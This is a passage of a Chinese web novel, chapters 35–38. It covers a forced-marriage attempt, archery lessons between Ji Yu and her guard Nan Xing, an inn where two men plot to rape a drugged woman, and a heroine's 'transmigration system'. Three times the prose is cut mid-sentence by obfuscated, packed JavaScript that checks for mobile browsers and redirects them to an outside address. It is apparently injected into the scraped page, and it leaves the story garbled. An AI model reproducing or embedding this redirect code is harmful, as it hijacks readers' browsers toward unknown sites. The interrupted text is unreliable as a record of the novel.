南星手指蜷缩在掌心里,柔软光滑又细腻的触感还残留在指尖,他眼神闪躲着,不敢看季妤,只将视线落在院门处,转移着话题:“敲门声那么急切,想必是有人有急事找你,季姑娘快去开门吧,别让人等急了。” 经南星这一提醒,季妤终于想起了院门已经被敲响了好一会儿了,于是为了打破这尴尬的氛围,季妤几乎是跑着去开院门的。 季妤打开院门,看到院外的人后,脸几乎是瞬间就冷了下来。 35. 逼婚 “小妤妹妹,你在里面干什么啊,为什么我敲了那么久的门你都不开门!” 杜聪凑了上来,撅着嘴不满地朝季妤抱怨。 季妤看着这满脸肥肉的大脸越凑越近,险些贴到她的脸上,赶紧后退两步拉开距离,嫌恶地看着杜聪。 “你来做什么?” 似是看不见季妤脸上对他明晃晃地厌恶之色,杜聪笑着,欢快道:“小妤妹妹,我来提亲呀,你看,这些聘礼可够?不够的话,我找我爹再加几抬。” 季妤偏头看向杜聪身后,只见不算宽敞的巷子里排了长长的一条队伍,几十抬聘礼摆满了整条巷子,因为太过高调,有不少左邻右舍纷纷探出头来看热闹。 季妤皱着眉头,感觉一阵无语,冷硬道:“你抬回去吧,我不会嫁给你的。” “为什么不嫁给我,我爹说了,你是要嫁给我的啊。”杜聪困惑地问,一双绿豆似的小眼睛努力地睁着看着季妤,见季妤不看他,突然他嘴一瘪,“扑通”一声响,一屁股直直地坐在了地上,哭嚎起来,像是没满足愿望的小孩子,“我不管,你就得要嫁给我……” “少爷,别哭闹了,地上脏,快起来。”黄全上前一步,好声劝着。 “黄管家,小妤妹妹说不嫁给我,为什么啊!我喜欢她,她得嫁给我啊。”杜聪扭头抱住黄全的大腿,声嘶力竭地哭喊着。 黄全拍了拍杜聪的后背,循循善诱道:“她说不嫁就不嫁吗,最后不得全听少爷你的?凡是少爷你想做什么,就做什么吧。” 杜聪眼睛一亮,问:“今日是个好天气,要今日成亲,娶小妤妹妹!” 黄全笑得合不拢嘴,“好,都听少爷的。” “你们几个,把聘礼都抬进季姑娘家中去。” 一行人听了吩咐,纷纷抬起聘礼往季妤家中挤去,季妤忙上前拦下,怒道:“你们做什么,私闯民宅吗?你们眼里还有没有律法!” 黄全上前一步站在季妤面前,笑道:“季姑娘说笑了,等你和少爷今日成了亲,你的家也是少爷的家,既如此,就不能说是私闯民宅了。” “你们一个个是不是有病,都说了不嫁不嫁,非得上赶着,是耳聋还是眼瞎,看不见我看不上你们少爷吗?你们少爷矬得没人要也没道理赖上我啊!”季妤真是要被气笑了,三番几次地逼她嫁给这个傻子,她真是气不打一处来。 这个黄全心里指定藏鬼,她要真嫁给了杜聪,他有什么好处?怎么他就对她嫁给杜聪一事那么上心呢? 想到这,季妤不免多看了几眼黄全,见他眼里闪过一丝兴奋的笑,紧接着就听到他说:“季姑娘何必逞一时口舌之快?我们少爷说了,今日他就要和你成亲,你知道的,我们老爷一向宠爱我们少爷,我们少爷要做什么都可以。” 季妤一阵恶寒,是了,杜聪若是直接将她强虏回去,她一点办法都没有,杜聪此人以往就是如此,见到好看的姑娘就直接将人强带回府里,刘芸便是这样的一个例子。 “小妤妹妹,你跟我回府去,我们今日就成亲,成了亲后,你就是我娘子了!”杜聪很是兴奋地抓住季妤的手腕就往马车里走。 季妤拼命地挣脱,奈何力气不如眼前这个胖子,始终甩不开他的手,眼见着就要被他拖上马车,季妤一咬牙,另一只手探向腰间,准备取出放在荷包里的药粉。 只要她一撒药粉,杜聪等人就会止不住的打喷嚏,到时她就能挣脱回到院子里,回到院子一关院门,管他们怎么喊怎么叫她都不出来,他们能耐她何? 就在她扯下腰间荷包准备往上一扬,忽地被抓住的手腕力道一松,垂头往下看的同时听到一阵痛苦地哀嚎声。 杜聪不知何时跌坐在地上,一手捂着另一只手哭得撕心裂肺,黄全见状赶紧上前搀扶着他起来,又好言好语地安慰着,像是哄小孩般哄着杜聪。 季妤看到一旁的地面上静静地躺着一颗圆润的石子,忽地眼睛一亮,这颗石子是元宝喜欢玩的,元宝在河边捡了好几颗好看圆润又光滑的石子回来,有事没事就爱叼着石子玩。 这颗石子突然出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919332|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里,首先排除元宝,它一只鹅不可能扔出石子砸向杜聪,所以,是祁钰出手帮了她。 他武功很好,一定就是他。 季妤一个回头往身后看去,见到了倚在院门的南星,只见他双手抱臂,眼神冷淡地看了过来,在触及到她的目光之后,眉眼似乎柔和了些。 黄全眼尖,发现季妤朝后看后也赶紧扭头看去,看到南星时眼睛都瞪大了几分,突然他指着季妤骂道:“好你个季妤,不知廉耻!成亲在即你还在家里藏了个野男人!你要不要脸啊你!” 季妤被劈头盖脸骂得脸一红,是被气红的。 这个老男人嘴巴真臭,有必要用她的药粉好好净化净化他的臭嘴。 季妤眼疾手快,手一扬,荷包里的药粉瞬时洒了出来,尽数洒到了黄全那边,几乎洒了他一脸。 黄全被呛得眼泪鼻涕一起流,喷嚏更是一个接一个停不下来,气得他颤抖着手指指着季妤,愣是一句话都骂不出来。 因为只要他一张口,迎接他的就是停不下来的喷嚏。 一旁抬聘礼的下人见状,犹豫着询问黄全:“黄管家,这聘礼还搬不搬进去?” “搬……阿嚏——搬个——阿嚏——屁——阿嚏”黄全气得翻着白眼,浑身因为停不下来的喷嚏而止不住的颤抖。 季妤冷哼一声别过来脸不看黄全那蠢样,只朝着南星走去。 那询问的下人听了黄全这话,更是丈二和尚摸不着头脑,几个下人互相对视一眼,其中一个下人叹了口气,去问还在捂着手哭闹的杜聪。 “少爷,这些聘礼还抬进季姑娘家中吗?” 现在这副情况,想必强行抬进去也讨不了什么好处,别到时候这个季姑娘再洒什么药粉到他们脸上,他们就会和黄管家一样不停地打喷嚏。 “手好痛,手红了……”杜聪只会喊痛,什么都不懂的一个傻子。 下人一时间有些无语,左看看黄全,右看看杜聪,最后决定直接摆烂,悠哉地坐了下来,看着这一个两个的闹剧。 36. 他的私心 “季姑娘,我贸然出现会不会对你的名声有损?”南星小心翼翼地看着季妤。 方才发生的一切他在院子里都听到了,本来他不打算出现的,毕竟他是男子,暂住季姑娘家中已是不妥。 若是旁人不曾见过他倒还好,若是被旁人瞧见了他,知道了季姑娘一个姑娘,家中有个陌生男子,恐怕流言四起,对季姑娘名声有碍。 但当听到季姑娘被人强行拉扯,而那人还是之前季姑娘同他说过的那个傻子杜聪,他心中怒火涌现,再也坐不住,拾了颗石子,运用内力打在了抓住季姑娘的那人的手腕上。 如此,季姑娘挣脱了杜聪的桎梏。 他本可以不现身,但想到石子是自己打出去的,若是他不现身,季姑娘又怎么知道是他帮了她呢? 这便是他的私心了。 他想让季姑娘知道,若是她遇到了麻烦和危险,他会在第一时间帮助她。 或许是为了报季姑娘救命之恩,又或许是…… 南星不敢深究这或许到底是什么,他只知道,当季姑娘有了危险,他一定会出手相救。 “怎么会?我还要谢谢你帮我呢!要不是你出手打出那颗石子,我就要被杜聪强行拉上马车了。”季妤感激地看着南星,想到自己险些就要被拉上马车,到时候叫天天不应叫地地不灵地被迫成亲,她就有些后怕。 比起被逼着和一个作恶多端的傻子成亲,她的名声算什么? 嘴长在别人身上,别人要想蛐蛐她还不是上下嘴唇碰一起的事?她想管也管不了,更何况她也懒得管。 南星微微一笑,转而看向季妤身后,皱眉问:“季姑娘,他们这些人是……” 季妤无奈道:“说来话长,简单点来说就是,我爹死前欠了杜老爷三百两银子,父债子还,距离最终还债日期还有不到五日,若是还不了债,我就要嫁给杜聪。” 南星视线轻飘飘地落在杜聪身上,看着他满身肥肉地坐在地上嚎哭,顿时嘴角一抽,此人也配娶季姑娘? 看来找赵柯解决杜聪一事得提上日程了。 算算日子,赵柯该回青州了。 南星眼神晦暗地盯了杜聪一眼,又扫了一眼还在不停打喷嚏的黄全,触及到南星冰冷的眸子,黄全忍不住打了个寒颤,狐疑着怎么好端端的大晴天,他无端地生出置身在冰天雪地的感觉? “可还有五日才到还债日,他们为何现在来?” 季妤叹气:“因为他们都觉得我还不了三百两,所以想趁早逼我嫁过去。” 南星担心问:“那季姑娘能否还三百两银子?” 季妤看了眼南星,心中默默道:这不指望着你报答给我的报酬还债嘛! 但心里这么想,却不好明面上说出来,最终只无奈叹息摇头,实话实说道:“我还没凑齐三百两银子。” “季姑娘不必担心,等我的家人到来,必定奉上三百两银子报答姑娘救命之恩。”南星郑重道。 听到想听的话,季妤心里很是舒坦,面上也带了些许笑意,有祁钰亲口说出的话做证,届时她定能还清所有债务。 算算日子,祁钰的属下该到了吧! “下雨了,下雨了!” 刚刚还是明媚的大晴天,转瞬之间就乌云密布,紧接着便下起了瓢泼大雨。 大雨一下,黄全的喷嚏神奇般地止住了,他摸了一把脸上的雨水,指着季妤骂道:“贱丫头,你别得意,你以为你会医术,会制作些奇奇怪怪的药粉我就奈你不何,你且给我等着,等我禀报了老爷,有你好果子吃!” 季妤撇了撇嘴,拉着南星进了院子,然后快速地关闭院门,将院外讨人嫌的一行人隔绝在外。 来时兴高采烈,走时狼狈不堪,一行人抬着聘礼,淋着雨消失在雨幕中。 * 距离青州不算远的城外,一家客栈点上了灯笼,招待了几个从外地来的客人。 “小姐,明日就能到青州了,今夜便好好休息,裴公子便由奴婢照顾吧。”看着自家小姐眼底的乌黑,芷丹不由心疼劝道。 小姐对裴世子一往情深,自裴世子中了蛊毒昏迷不醒后,小姐便衣不解带,日日照料,眼见着人都消瘦了不少。 苏念可拾起汤匙舀了一勺鸡汤,只喝了一两口就放下了,她皱着眉头,侧头看了一眼床上躺着的人,眼里是担忧。 “表哥如今昏迷不醒,也不知道蛊毒是否侵入心脏,我心中着实担心,又怎么安心独自去休息呢?” 看着被小姐搁在桌上还剩了大半碗的鸡汤,芷丹有心想劝小姐再多喝几口,想到以小姐的性子,又只得作罢。 只道:“南星不是说了已经找到了能解蛊毒的大夫了,左不过就是一日的功夫,裴公子不会有事的。倒是小姐你可千万不能有事,裴公子醒了,小姐却晕倒了,那裴公子岂不是要十分自责?” 苏念可听了这话,觉得有道理,她已经好几天没有合眼了,现下已是疲倦不已,于是朝芷丹点点头,“你留在这里看着,若是有什么事就赶紧到隔壁找我。” “是,小姐。” 夜深人静,四周静悄悄。 忽地“哐当”一声,门被从外面推开一条缝隙,紧接着探入一根手指大小的竹筒,一缕白色的细烟吹了出来,瞬间消散在空气中。 约莫过了半刻钟,门被推得更开了些,一个曲着身子的人影悄摸地探了进来,紧随其后的还有另一个人。 两人鬼鬼祟祟地挨着往前走,一步步挪到了床榻的位置,借着月色看到床上的人正躺得安详后,两人互相对视一眼,皆从对方的眼神里看出了兴奋的□□。 “愿赌服输,我先来,等我爽够了换你……对了,那个小丫鬟姿色也不错,一会儿再去找她……” “知道了,你快一点,别让我等太久。” 两人中较瘦的那个上前了两步,探出手来摸向床上那截白皙的手臂,眼里闪着激动的光,就在要触碰上的那一刻,腰上一痛,半个身子都麻了。 瘦子扭头怒瞪矮子,骂道:“你捅我腰干什么!” 矮子一听这话,茫然道:“我没捅你腰啊。” “不是你捅的,那我腰怎么突然一下子那么痛!就是你,你自己打赌输了不服,见我先上你不爽,就偷偷摸摸地报复我!”瘦子指着矮子怒骂道。 “都说了不是我,你吵那么大声干什么,把人吵醒了怎么办,你还要不要爽了!”被人莫名其妙骂了,矮子不高兴地骂回去。 “我下半身都麻了,还爽个屁!”瘦子捂着腰唾骂着。 矮子一听,眼睛亮了,上前一步道:“既然这样,那我先上吧。” “不行!”瘦子一把抱住矮子的大腿,遏制住不让他往前。 如此美若天仙的女子,绝对不能先让矮子染指,这般妙不可言的滋味需得他先享受才是正理。 “你松手!” “不松,你休想抢在我前面!” 两人拉拉扯扯了好一会儿,突然传来一道“啧啧”的声音。 两人惊恐地四处张望,屋子里除了床上的姑娘和他们两人,还有谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931735|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在他们看向窗外时,看到了窗上坐着一个人影,因着是背着光的,所以看不清楚那人的脸,只根据身形能够猜出是一个男子。 “你是谁!”瘦子和矮子看到窗上的人时,异口同声地喊道。 “路见不平之人。” 淡淡的语气,带着些许调侃的意味。 还不等两人有什么动作,窗上之人率先翻身进来,只轻飘飘地随手在两人背上一点,两人皆是僵在了原地,动弹不得。 两人眨着眼,瞪着眼,眼睁睁看着男子背起了女子,然后跳上窗,消失在夜幕中。 一刻钟后,这处坐落在郊外的客栈火光四起,熊熊大火吞噬着这家不算大的客栈。 …… 苏念可睁开眼后看到的是一张颇为俊俏的脸,待看清楚是张不认识的陌生脸后,警惕地往后缩了缩:“你是谁?” “姑娘醒了啊,在下姓赵,单名一个柯。敢问姑娘芳名?”赵柯笑问。 “赵柯?”苏念可疑惑地看着赵柯,又四处张望了一下,见只有她和眼前男人两人,不由心里一阵慌乱,厉声质问,“你到底是什么人,为什么要掳走我!” 赵柯一愣,忽笑道:“姑娘误会了,不是我掳走你,是我救了你。” “你救了我?”苏念可更觉得迷茫了,见她这般,赵柯好心地将来龙去脉简单地说与苏念可。 “事情便是如此,我同你住在一处客栈,发现那是家黑店,救了你之后就一把火烧了那客栈。” “你烧了客栈,那我表哥怎么办,还有芷丹,他们都在客栈里!”苏念可慌忙起身,“不行,我要去救他们!” 赵柯摸了摸鼻子,他只想着英雄救美,根本就没管客栈里还有没有其他人,现在他一把火可能烧了人家姑娘的亲人。 若是现在赶回去,以他的轻功,或许能找到他们完好的尸体。 既如此,便将功补过吧。 赵柯起身拉住苏念可,道:“姑娘,我带你去。” 到达客栈时,大火已经将客栈烧了个彻底,只剩下断壁残垣和浓烟。 苏念可发了疯似的跑了过去,嘴里不停地念着:“表哥,表哥……” 赵柯跟在她的身后,有些愧疚道:“都烧成这样了,恐怕找不到了。” “都是你,都是你害的,你还我表哥!”苏念可猛地转身,发了狠似的捶打着赵柯,不停地骂着,乱踢着。 赵柯自知做错了事,任由苏念可在他身上发泄着,而且她一个姑娘,手劲儿小,即使是使了全身的力气,打在他身上也只是挠痒痒罢了。 …… 与此同时,芷丹背着裴子珩艰难地走在树林里。 客栈被火包围的时候,她第一时间就是去找小姐,却没在房里看到小姐的人影,眼见着火势越来越大,芷丹思来想去,以裴世子在小姐心里的份量,她决定先救裴世子。 可现在把裴世子救出来了,小姐又在哪里? 她知道小姐不在客栈里,因为她看到守在小姐屋外的两个护卫死了,屋里还有那两个客栈的伙计后就彻底明白了这是家黑店。 而小姐被人救走了,所以小姐应该暂时没有危险,可她要怎么找到小姐呢? 还有裴世子,仅凭她一个人是不可能在明日之前到达青州的。 走着走着,芷丹看到了前方似乎停了一辆马车,脸上一喜,忙朝着马车走去。 马车上本闭着眼睛休息的车夫听到脚步声后猛地睁开眼,见是一个姑娘背着一个大男人,警惕地直起了身子。 37. 把锅炸了 “祁公子,你再教我练剑吧!” 季妤人在窗外,倚在窗下,笑意盈盈地对着坐在书桌前的南星说着,南星手一顿,没有及时落笔,笔尖上凝聚的墨水便滴在了写了字的地方,毁了一封即将写好的书信。 南星眉头轻拧,这是写给小姐的信,他想写信问问,为何五日之久,还未到青州,可是出了什么变故。 季妤也注意到了,有些愧疚道:“对不起,是我打扰到你了。” 季妤视线落在信纸上停留了一会儿,她看不清写的什么,但她猜测应该是写给属下的,按理说,他的属下应该到了青州才对,可现在一点消息都没有,祁钰应该也很困惑吧。 “无事,再写一封便是。”南星将信纸对折后压在书下,抬头朝季妤微微一笑:“季姑娘怎么突然要练剑?” “昨天看你拿着一根棍子都舞得那么好看,想必你一定擅长使剑,而且武功一定特别好,所以我想跟你学,学会了我就不怕被欺负了。”季妤认真解释着,一双大眼睛直直地看着南星。 昨天黄全和杜聪闹那么一出,让她深刻的意识到自己有多么渺小,但凡祁钰不在她家,昨天的她就会被逼着送入杜府,继而嫁给杜聪。 所以,即使学武很累,她也想要试试,只要学会了一招半式的,就能很大程度地保护自己。 擅长使剑吗?南星微微一愣,逐渐思考起来,他确实会使剑,但不是最擅长的,他擅长的是弓箭,只要他拿起了弓箭,必定百发百中,一箭毙命。 南星起身走到窗子,隔着窗对季妤道:“季姑娘,不如我教你射箭。” “射箭吗?”季妤疑惑道,“怎么不教昨天那个了?” “我不擅长用剑。” “诶?”季妤更疑惑了,祁钰可是最擅长使剑的啊,为什么他会说自己不擅长? “季姑娘要学射箭吗?”南星重新问了一遍。 等他走后,他确实担心季妤再遇到像昨天那样的麻烦后不能保护好自己,若是由他亲自教她射箭,他相信以她的聪明才智,一定会学得很不错。 毕竟季姑娘她会医术,还会画画,她很厉害。 咳咳……想到画画,又不由得想起了昨天看到的那张宣纸上的画面,南星不算白的脸蹭的一下就红了,季妤在他对面,因此看得清清楚楚。 季妤有些惊讶,怎么祁钰突然一下子红温了,难道是太热了? 可今天是阴天,而他穿得挺薄的。 “季姑娘,你,咳……”面对季妤毫不掩饰地打量,南星脸烧得更加厉害,心也越跳越快,仿佛下一刻就要蹦出来,这种不能掌控的感觉让他有些无措和慌乱,他不知道自己怎么了。 大概是有病吧,他觉得自己外伤好得差不多,但内伤应该还没好,特别是左胸口那道伤,绝对没有好全,莫不是余毒倾入了心脏?否则他的心怎么老是不受控制的乱跳? 季妤收回自己直白的视线,往院子周围扫视了一圈,“如果要学射箭的话,没有弓箭怎么学?” “我可以做一把出来。”南星立即道。 南星在厨房里捡了一根竹子,运用有限的材料最后做出了一把简易的弓和两根箭。 季妤瞪大了眼睛,觉得祁钰真是样样都会,好厉害。 心里这么想的,也很直接的夸了出来,“祁公子,你好厉害,一根竹子让你做出了弓箭,你还会什么啊,是不是什么都会?” 季妤好奇地看着南星,南星拉开弓试了试弹力,听到了季妤的话,不由嘴角上扬,只垂着头,没让季妤看到他眼底掩藏不住的笑意。 这好像是第一次被一个人这么直白的夸赞,南星仔细想了想他这十八年来得到过什么。 阿娘的哭泣和幽怨、乞讨时人们的嫌恶和谩骂、被小姐捡到后得到过一阵的关心,但自从被那人选去训练之后,得到的更多是那人冷血的话语,冰冷的眼神,无尽的折磨,夜以继日的训练。 他为什么要那么听话的按照那人安排去训练,因为那人说,小姐在雪天捡到了他,是救了他一条命,他得做个知恩图报的人,但他细胳膊细腿的恐怕连自己都保护不了,因此到了这里,就更该努力,拼命地去训练。 所以,他努力了,也拼命了,他做到了整个训练营地最厉害的那个,那年他十五岁,回到了小姐身边,做了她的暗卫,时刻保护着她的安危,后来的三年里,只要小姐有任何吩咐,他必定是她最趁手的刀刃。 他想得很仔细,回顾了他这十八年短短的一生,竟然只有被她这般真诚又直接的称赞过,她说他很厉害! 他真的厉害吗? 应该是吧,毕竟在训练营地里,当初与他同一批的人都被他杀死了,他是唯一的胜利者,也是那人背后最得力的暗箭。 可季姑娘说他厉害,显然不是因为这些,竟是因为他用竹子随便做了一把弓箭吗? 这就很厉害了吗,季姑娘还真是有趣,如果这都算厉害,那他会的东西可多了。 他抿了抿唇,抬起头来看向季妤,笑道:“什么都会倒不至于,但我会的确实不少。” 季妤眨了眨眼睛,“那你会做望远镜吗?” 南星脸色一僵,有些尴尬地摇了摇头,望远镜是何物,竟是从未听说过。 方才他还说会的不少,现在就被打脸了。 季妤却没多想,她乐呵呵地笑着道:“我会,到时候我做一个送给你啊。” 南星一愣,呆呆地点了一下头,正要说些什么,又听她欢快地催促着:“弓箭都准备好了,你快教我怎么射箭吧,我已经迫不及待了!” 季妤兴奋地搓着双手,如果她学会了射箭,以后再遇到坏人,她就不用怕了。 “好。” 南星拿着弓箭往前走了几步,举着弓箭瞄向前方桃树枝桠上挂着的红色布条。 拉弓、瞄准、放箭、最后射中。 “射中了!”季妤高兴地鼓着掌,小跑着到南星面前,“那个红布条那么细一根,又有风,你还射中了,你好厉害啊!” 南星勾起唇角,将弓箭给季妤,“来,你试试。” 季妤握着弓箭,摆好姿势,正要拉弓,却被南星伸手按住弓。 “姿势不对,如果像这样拉弓的话,力度不够,箭容易射偏。” “那我要怎么做?”季妤眨了眨眼睛,认真地询问南星。 南星指了指地面,道:“你的左脚站这里,右脚站那边。” 季妤按照南星指定的地方站定,然后偏头看向南星,等着他下一步指令。 “来,左手握住弓的这一端,右手拿箭,搭在弓弦上。” “肩膀放平,身体微微侧一些,嗯,就是这样。放轻松,看着前面的红色布条……” 季妤屏息凝神,盯着桃树上挂着的红布条看了许久,有些苦恼道:“不行啊,红布条一直随风飘动,我根本就瞄不准。” “射不中没事,只要能把箭射出去也算是成功了。”南星将手搭在弓箭上,往上抬了一下,调整了一下季妤拿弓的高度,鼓励道,“你试试看能不能射出去。” “好。”季妤皱着眉,拉开弓,正要射出去时,箭却从弦上滑落,季妤看向南星,南星忙开口安慰,“没关系,再来。” 说着亲自将箭搭在弦上,让季妤再拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954748|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓试一次。 随着一箭射出,季妤脸上清晰可见地浮现了笑意,她朝南星那看去,嘴角上扬,有些得意问:“怎么样?还不错吧。” 箭射出去了,没有偏,力度也不错,虽然没有射中红色布条,但擦边而过,也是一种实力,毕竟她是完完全全的新手。 南星也有些意外,季妤比他想象中射箭要好,虽然能看出是个新手,但是以她刚才射出的那一箭来看,是个有天赋的,若是之后勤加练习,说不定能比得上营地里的不少人。 南星笑着点头,学着季妤夸他时的话语夸赞她:“很厉害。” “嘿嘿,再来再来!”季妤斗志满满,拉起了弓准备再练几次,她似乎已经找到了射箭的乐趣了。 大概练了一个时辰,季妤已经累到手臂都抬不起来,一抬起来就止不住的颤抖,虽然仍意犹未尽还想再练,毕竟她还是没能打中红布条,但她的手不允许她再拉弓了,便只得作罢。 季妤瘫坐在了躺椅上休息,南星给她倒了一杯水,直接送到了她的嘴边,季妤自然而然地张开嘴喝了几口,直到不渴了才摇头。 南星将水杯放到石桌上,突然看见天空一道黑影闪现,速度之快,若不是练武之人,根本不会察觉到。 南星脸色微变,偏头悄悄看了一眼季妤,见她躺在躺椅上闭着眼睛休息,于是站起了身朝房内走去。 进了屋关了门,翎鸽带着信件轻巧落在书桌上,南星取下信件,打开。 看完心里的内容,南星眉头紧皱。 裴子珩竟然死了吗? 若是真的,小姐恐怕难逃国公府追责。 不过生不见人,死不见尸,他还是不太相信裴子珩会被一把火烧死。 南星收起信件藏在怀中,走出房门来到季妤对面坐下,看着季妤的睡颜,南星张了张口,最终还是没说什么。 算了,等她醒了再说。 就这样,等季妤醒来后已经又是一个时辰过去,虽然没有太阳,但不算太冷,睡得还是挺舒服的。 季妤伸了个懒腰,见周围不见南星的影子,不由得顺着窗子看向屋内,没有人,去哪儿了? 季妤起身走到窗前,探身朝屋内望去,确定南星不在里面,正要去别的地方找,忽地一阵风吹得桌上的书胡乱地翻页,一张信纸被吹散,落在了窗台上。 季妤拾起一看,看到了一大团浓墨,便知道了这是祁钰说写给家人的信,实则她猜测是写给属下的。 信纸被摊开,即使季妤无心要去看,但还是看到了里面没被墨水掩盖的内容。 小姐,什么小姐。 祁钰为什么会称呼别人小姐? 季妤疑惑地看了好几遍纸上的内容。 那个小姐要来青州吗? 到底是什么人会被祁钰称之为小姐? 这分明是属下对主子的语气来写的信。 “季姑娘。” 季妤慌忙将信纸重新塞到书下压着,然后回头朝南星笑了笑,问:“怎么了?” 却在看到南星的脸后瞬间顿住,不可置信地上下打量着他,甚至走到他的面前,震惊道:“你,你挖煤去了?” 南星尴尬地用袖子去擦脸上的碳灰,却不料袖子上也是碳灰,因此去擦脸,越擦越黑,本来脸就不怎么白,现在更是黑成碳了。 季妤忍不住爆发了笑声,笑得弯下了腰,指着南星笑问:“你到底干什么去了,怎么全身上下都是碳灰啊,哈哈哈哈。” “对不起,我刚刚把厨房的锅炸了。”南星诚恳道歉。 季妤一听,愣住了,笑容僵住,“啥?把锅炸了?” 38. 激活穿书系统 因着锅被炸了,家里煮不了饭,两人只好到外面吃。 于是季妤便带着南星来到醉仙楼,想着南星的伤好得差不多了,也想着他应该要不了几日就要离开这里,所以季妤打算带他吃顿好的。 醉仙楼是青州数一数二的酒楼,里面的菜品种类多,南边北边东边西边的菜都有,只有你想吃的,没有你吃不到的。 “小二,二等雅间还有吗?”季妤拉住一个小二问。 二等雅间在二楼,那里比一楼安静,当然,价格也更高。 小二撩起脖子上挂着的布巾擦了擦额头上的细汗,忙道:“有,还剩一间,二位要吗?” “要。”季妤当机立断道。 “好嘞,二位随我来。” 两人随着小二上了二楼,在上楼期间,与一带着帷帽的女子擦肩而过,一股清香萦绕鼻尖,惹得季妤不由得扭头去看,只见隐藏在白纱下的脸若隐若现,美得惊人,季妤瞪大眼睛多看了几眼,就在此时,一道机械音突兀地在耳边响起。 【叮!目标任务出现,恭喜宿主激活穿书系统,系统三七为您服务。】 啥?系统? 季妤惊恐地左顾右盼,以为自己幻听了,殊不知她这反常的举动引起了南星的注意。 南星侧头看了一眼带着帷帽的女子,面上一僵,显然是认出了女子是什么人。 那女子也注意到他,先是一惊,再是一喜,正要上前一步与南星说话,南星却在此刻拉住季妤的衣袖匆忙上楼去了,正与女子擦肩而过。 小二带着两人来到雅间,面带笑容道:“二人稍作休息,桌上的是菜单,要吃什么就点什么。” 说着,小二从布包里掏出毛笔和簿子,等着季妤和南星点菜。 “季姑娘你来点吧,我想先去方便一下。”南星温柔笑道。 季妤拿起桌上的菜单看了看,听到南星这样说,便道:“那你去吧。” 南星走后,季妤随便点了几样招牌菜式,小二走后,整个雅间就剩她一个人。 她坐在有窗的位置,探出窗往下看了一眼,看到了熙熙攘攘的人群,还看到了一个熟悉的背影,而那背影的前面正是方才在楼梯间擦肩而过的帷帽女子。 季妤皱着眉,心中升起一股郁闷。 【系统,那个带着帷帽的女子真的是书中恶毒女二苏念可吗?】 【是的宿主,只有宿主遇到女二才会触发本系统,继而开启系统任务,只要完成系统任务,宿主就可以回到现实世界了。】 只有遇到女二才会触发系统,如果一直没有遇到女二,也就是说她就会一直触发不了系统,也就回不了现实世界了,她得一辈子待在这书中世界。 本来她已经做好准备回不去了,得一直待在这里。现在突然告诉她,她有机会回去,那么比起书中世界,她肯定还是更想回到现实世界的,这里终究不属于她。 现实世界比这里好多了,不说什么手机电脑还是便利的交通,就说现实世界里的人人平等吧,接受过人人平等的教育,再到这封建时代里,她绝对不能长久忍受。 她本就不属于这里,强行留在这里,她恐怕有一天会与这个时代同化,从而失去她来自现实世界的灵魂。 那么她与现实世界唯一的联系就消失了。 季妤撑着下巴,仔仔细细地思索了一番,毅然决然地选择了做系统任务,然后回到现实世界。 【系统,快说系统任务是什么。】季妤催促道。 【宿主,您的系统任务就是让女二放弃男主,撮合男二和女二,等男二和女二心意相通成婚入洞房那一日,你就完成任务可以回到现实世界。】 【啥,要我做红娘撮合男二女二?就是苏念可和祁钰?】 【是的,宿主,从激活系统开始,宿主只有一年时间,一年之后还是没有完成任务,宿主将永远留在书中世界,现实世界记忆抹除,完完全全成为书中之人。】 好可怕啊,完完全全成为书中之人,意味着她将不再是她,她会成为一个没有灵魂的人。 季妤面容凝重,不满地抗议道【这个任务好难啊!俗话说男追女隔层山,女追男隔层纱。祁钰肯定是喜欢苏念可的,可关键是苏念可不喜欢他啊!让苏念可改变心意不喜欢男主去喜欢祁钰,这……很难办。” 【宿主加油,系统三七先下了。】 【喂!你下那么快干嘛!】季妤气得在脑子里大喊。 …… 巷子里,南星单膝跪地,双手抱拳,恭敬地对着面前的帷帽女子道:“小姐,是属下失职,没能第一时间去侯府找你。” 苏念可掀起白纱,一张好看的脸上尽是愤怒,质问着:“南星,你刚刚为什么要假装不认识我,你身边的那个女子是谁?” “她就是属下在信中所说的会解蛊毒的大夫。”南星如实道。 “女大夫?”苏念可有些质疑,“她看起来可不像是苗疆女子。” “她母亲是苗疆人,而且她医术很好,属下的箭伤是她医治好的。” “哦?”苏念可冷笑一声,看着南星,“那你身上的蛊毒也被她解了?” 南星垂着头,面无表情地开口,“没有,这蛊毒她解不了。” 苏念可冷哼道:“姨父炼制的蛊毒自然与寻常蛊毒不同,不是那么好解的。” 苏念可看了南星一眼,缓了缓情绪,“起来吧。” “是,小姐。” 苏念可叹了口气,神色哀伤道:“表哥不知生死,不知所踪,可如何是好?” 